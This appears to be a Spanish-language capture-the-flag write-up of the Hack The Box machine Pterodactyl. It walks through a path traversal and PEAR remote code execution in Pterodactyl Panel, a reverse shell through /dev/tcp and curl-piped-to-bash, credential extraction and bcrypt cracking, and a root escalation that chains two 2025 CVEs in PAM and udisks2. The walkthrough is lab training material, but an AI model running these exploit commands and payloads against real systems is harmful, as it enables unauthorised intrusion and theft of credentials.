Pterodactyl WriteUp
Table of Contents
Pterodactyl es una máquina de dificultad 🟧 Medium de la plataforma Hack The Box, correspondiente a la Season 10 (semana 2). El nombre no es casual, el vector principal es Pterodactyl Panel, un gestor de servidores de juego open-source ampliamente desplegado en Internet. La cadena de ataque combina un path traversal no autenticado que expone PEAR y permite RCE, seguido de extracción de credenciales de base de datos, crackeo de hash bcrypt para pivotar a un usuario con SSH, y escalada a root encadenando CVE-2025-6018 (PAM) con CVE-2025-6019 (udisks2/libblockdev).
🗺️ Cadena de Ataque
Nmap → Puertos 22 (SSH) + 80 (nginx)
│
▼
Fuzzing de subdominios → panel.pterodactyl.htb
│
▼
CVE-2025-49132 → Path Traversal en /locales/locale.json
│
▼
PEAR pearcmd.php → escritura de webshell → RCE como www-data
│
▼
/var/www/pterodactyl/.env → credenciales MySQL (pterodactyl:PteraPanel)
│
▼
MySQL → hash bcrypt de phil → john + rockyou.txt → contraseña de phil
│
▼
SSH como phil → user.txt 🚩
│
▼
CVE-2025-6018 (PAM) → shell intermedia
│
▼
CVE-2025-6019 (udisks2 + XFS image) → root 🏴
Pterodactyl es una máquina que refleja muy bien lo que ocurre cuando software de gestión popular se despliega sin actualizar. No hace falta autenticación para explotar el punto de entrada, CVE-2025-49132 es pre-auth con CVSS 9.8. Lo interesante está en la escalada, dos CVEs de 2025 encadenados en el stack de almacenamiento del sistema que no son especialmente conocidos fuera del mundo de Polkit/udisks.
🔍 Reconocimiento
Escaneo de Puertos
Añadimos la máquina a /etc/hosts y lanzamos el escaneo en dos fases:
echo "10.129.21.96 pterodactyl.htb" | sudo tee -a /etc/hosts
Fase 1 - Descubrimiento rápido:
sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv pterodactyl.htb
Fase 2 - Versiones y scripts:
grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv pterodactyl.htb
| Puerto | Servicio | Detalle |
|---|---|---|
22 | SSH | OpenSSH 9.6 |
80 | HTTP | nginx 1.21.5 / PHP 8.4.8 |
Los puertos 443 y 8080 aparecen cerrados. El puerto 80 redirige a http://pterodactyl.htb/, página estática sobre un servidor de Minecraft.
Fuzzing de Subdominios
El nombre de la máquina ya es una pista. Pterodactyl Panel normalmente se sirve en un subdominio panel.:
ffuf -u http://pterodactyl.htb -H "Host: FUZZ.pterodactyl.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 145
panel [Status: 200, Size: 1897, Words: 490, Lines: 36, Duration: 367ms]
Añadimos el subdominio:
echo "10.129.21.96 panel.pterodactyl.htb" | sudo tee -a /etc/hosts
🎯
panel.pterodactyl.htbnos da la interfaz de Pterodactyl Panel v1.11.x. El panel pide credenciales para entrar, pero no las necesitamos.
💉 Acceso Inicial - CVE-2025-49132
¿Qué es CVE-2025-49132?
🧠 Concepto: CVE-2025-49132 es una vulnerabilidad de path traversal no autenticado en Pterodactyl Panel < 1.11.11. El endpoint
/locales/locale.jsonacepta el parámetrolocalesin validar suficientemente la ruta, lo que permite salir del directorio de locales y acceder a ficheros arbitrarios del servidor. Combinado con la presencia depearcmd.php(parte de PHP PEAR), el path traversal se convierte en RCE sin autenticación - CVSS 9.8.
Confirmación de la vulnerabilidad
git clone https://github.com/str1keboo/CVE-2025-49132
cd CVE-2025-49132
python CVE-2025-49132-PoC.py test http://panel.pterodactyl.htb
[+] Target appears vulnerable (Path: ../../../pterodactyl)
Extracción de credenciales de base de datos
Antes de ir a por el RCE, el PoC nos permite leer ficheros de configuración. Leemos la configuración de base de datos de Laravel:
curl -G "http://panel.pterodactyl.htb/locales/locale.json" --data-urlencode "locale=../../../pterodactyl" --data-urlencode "namespace=config/database"
...
"username": "pterodactyl",
"password": "PteraPanel",
"database": "panel",
"host": "127.0.0.1:3306"
...
También obtenemos el APP_KEY de Laravel (AES-256-CBC), aunque para esta máquina no hace falta falsificar sesiones:
python CVE-2025-49132-PoC.py dump http://panel.pterodactyl.htb
[+] Laravel APP_KEY: base64:UaThTPQnUjrrK61o...MJqcbTSThY=
[+] Environment: production
[+] Cipher: AES-256-CBC
💡 El PoC base solo hace path traversal. Para convertirlo en shell necesitamos el módulo de RCE que usa PEAR
pearcmd.phpy codifica los comandos en hex para evadir filtros.
Reverse shell vía PEAR
Usamos la versión extendida del exploit con soporte de shell interactiva:
git clone https://github.com/malw0re/CVE-2025-49132-Mods.git
cd CVE-2025-49132-Mods
Preparamos el payload y el listener:
# Terminal 1 - reverse shell listener
penelope -p 8443
# Terminal 2 - HTTP server para servir el payload
echo 'bash -i >& /dev/tcp/10.10.14.150/8443 0>&1' > ~/http/shell.sh
goshs -d ~/http -p 80 -i 0.0.0.0
# Terminal 3 - lanzamos el exploit
python ape1.py --host panel.pterodactyl.htb --interactive
Una vez dentro de la shell del exploit, descargamos y ejecutamos el payload:
curl 10.10.14.150/shell.sh | bash
www-data@pterodactyl:/var/www/pterodactyl/public$
✅ RCE conseguido como
www-data. El mecanismo interno usapearcmd.php config-createpara escribir un fichero PHP con comandos hex-encoded en/tmpy luego lo solicita vía HTTP para que el servidor lo ejecute.
🔑 Pivote a Usuario - Credenciales MySQL → phil
Lectura del fichero .env
Desde la shell de www-data, el fichero .env de Laravel confirma las credenciales que ya obtuvimos:
cat /var/www/pterodactyl/.env
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=panel
DB_USERNAME=pterodactyl
DB_PASSWORD=PteraPanel
Extracción de hashes desde MySQL
/usr/bin/mariadb -h 127.0.0.1 -u pterodactyl -pPteraPanel -e "SELECT email, username, password FROM panel.users;"
+------------------------------+--------------+--------------------------------------------------------------+
| email | username | password |
+------------------------------+--------------+--------------------------------------------------------------+
| headmonitor@pterodactyl.htb | headmonitor | $2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2 |
| phileasfogg3@pterodactyl.htb | phileasfogg3 | $2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi |
+------------------------------+--------------+--------------------------------------------------------------+
Crackeo del hash con John
echo '$2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi' > hash_phileasfogg3.txt
john hash_phileasfogg3.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt
!QAZ2wsx (?)
1g 0:00:00:53 DONE
Acceso SSH como phil
ssh phileasfogg3@pterodactyl.htb # !QAZ2wsx
🚩 User Flag
cat /home/phileasfogg3/user.txt
🧗 Escalada de Privilegios - CVE-2025-6018 + CVE-2025-6019
Detección del vector
Revisando los procesos en ejecución vemos el demonio udisks2 activo. Una búsqueda nos lleva a dos CVEs de 2025 encadenados:
🧠 Concepto: CVE-2025-6018 inyecta variables XDG maliciosas a través de
pam_env.sodurante el login SSH, haciendo quesystemd-logindmarque la sesión comoActive. Polkit, que confía en logind, concede permisos deallow_active, entre ellos el montaje de dispositivos loop vía udisks2. CVE-2025-6019 explota una race condition en libblockdev: durante elFilesystem.Checkvía D-Bus, udisks2 monta temporalmente la imagen sin la flagnosuid. Un binario C (catcher) monitoriza/proc/mountsen tiempo real y ejecuta el binario SUID root de la imagen antes de que se desmonte.
En Kali — Preparar los artefactos
Clonamos el repositorio y ejecutamos build_poc.sh, que compila el binario C catcher en estático, crea la imagen XFS de 400MB, la monta, inyecta un binario SUID root dentro y la desmonta:
git clone https://github.com/MichaelVenturella/CVE-2025-6018-6019-PoC.git
cd CVE-2025-6018-6019-PoC
chmod +x build_poc.sh
./build_poc.sh
[*] Compiling catcher binary (static)...
[*] Creating XFS filesystem image (400MB)...
[*] Mounting image and injecting SUID shell...
[*] Done. Artifacts ready: exploit.img, catcher
💡 El
build_poc.shcompilashell.ccongcc -staticy lo copia dentro de la imagen XFS conchmod 4755. El binario estático garantiza compatibilidad con la máquina víctima sin depender de sus librerías.
Servimos los tres ficheros:
cp exploit.img catcher exploit.sh ~/http/
goshs -d ~/http -p 80 -i 0.0.0.0
En la víctima — CVE-2025-6018 (sesión allow_active)
Por defecto, Polkit bloquea operaciones privilegiadas para sesiones SSH y pide contraseña de root. Escribimos las variables XDG que engañan a logind para que marque la sesión como activa en un seat físico:
echo "XDG_SEAT=seat0" > ~/.pam_environment
echo "XDG_VTNR=1" >> ~/.pam_environment
Cerramos sesión y volvemos a entrar por SSH para que PAM cargue el fichero:
exit
ssh phileasfogg3@pterodactyl.htb # !QAZ2wsx
Verificamos que la sesión está activa:
loginctl show-session $XDG_SESSION_ID | grep Active
Active=yes
✅ Con
Active=yes, Polkit concedeallow_activey udisks2 acepta montar dispositivos loop sin pedir contraseña de root.
En la víctima — CVE-2025-6019 (race condition → root)
Descargamos los artefactos:
cd /tmp
wget http://10.10.14.150/exploit.img
wget http://10.10.14.150/exploit.sh
wget http://10.10.14.150/catcher
chmod +x exploit.sh catcher
Lanzamos el exploit:
./exploit.sh
[+] Session is Active. Polkit bypass enabled.
[*] Starting Background Trigger (Wait 2s)...
[*] Starting Foreground Catcher...
[*] HOLD TIGHT. ROOT SHELL INCOMING.
[*] (BG) Setting up loop device...
[*] (BG) Triggering Filesystem.Check on /org/freedesktop/UDisks2/block_devices/loop3...
[!!!] HIT! Mounted at: /tmp/blockdev.NTXKL3
pterodactyl:/tmp# whoami
root
✅ Shell como root. El
catcherdetecta el mount temporal en/proc/mountsy ejecuta el binario SUID antes de que udisks2 lo desmonte. La race condition es de milisegundos — el binario compilado en C es imprescindible para ganarla con fiabilidad.
🏴 Root Flag
cat /root/root.txt
📝 Resumen de la Cadena
| # | Técnica | Herramienta | Resultado |
|---|---|---|---|
| 1 | Reconocimiento | nmap, ffuf | Subdominio panel.pterodactyl.htb |
| 2 | CVE-2025-49132 (Path Traversal) | CVE-2025-49132-PoC.py | Credenciales DB + APP_KEY de Laravel |
| 3 | PEAR RCE (pre-auth) | ape1.py | Shell como www-data |
| 4 | Lectura .env + MySQL | mariadb CLI | Hash bcrypt de phileasfogg3 |
| 5 | Crackeo bcrypt | john + rockyou.txt | Contraseña: !QAZ2wsx |
| 6 | SSH | ssh | Shell como phileasfogg3 + user.txt 🚩 |
| 7 | CVE-2025-6018 (PAM → .pam_environment) | manual | Polkit allow_active activo |
| 8 | CVE-2025-6019 (udisks2 race condition) | exploit.sh + catcher + exploit.img | Shell como root + root.txt 🏴 |
Un saludo, nos vemos en el próximo challenge.
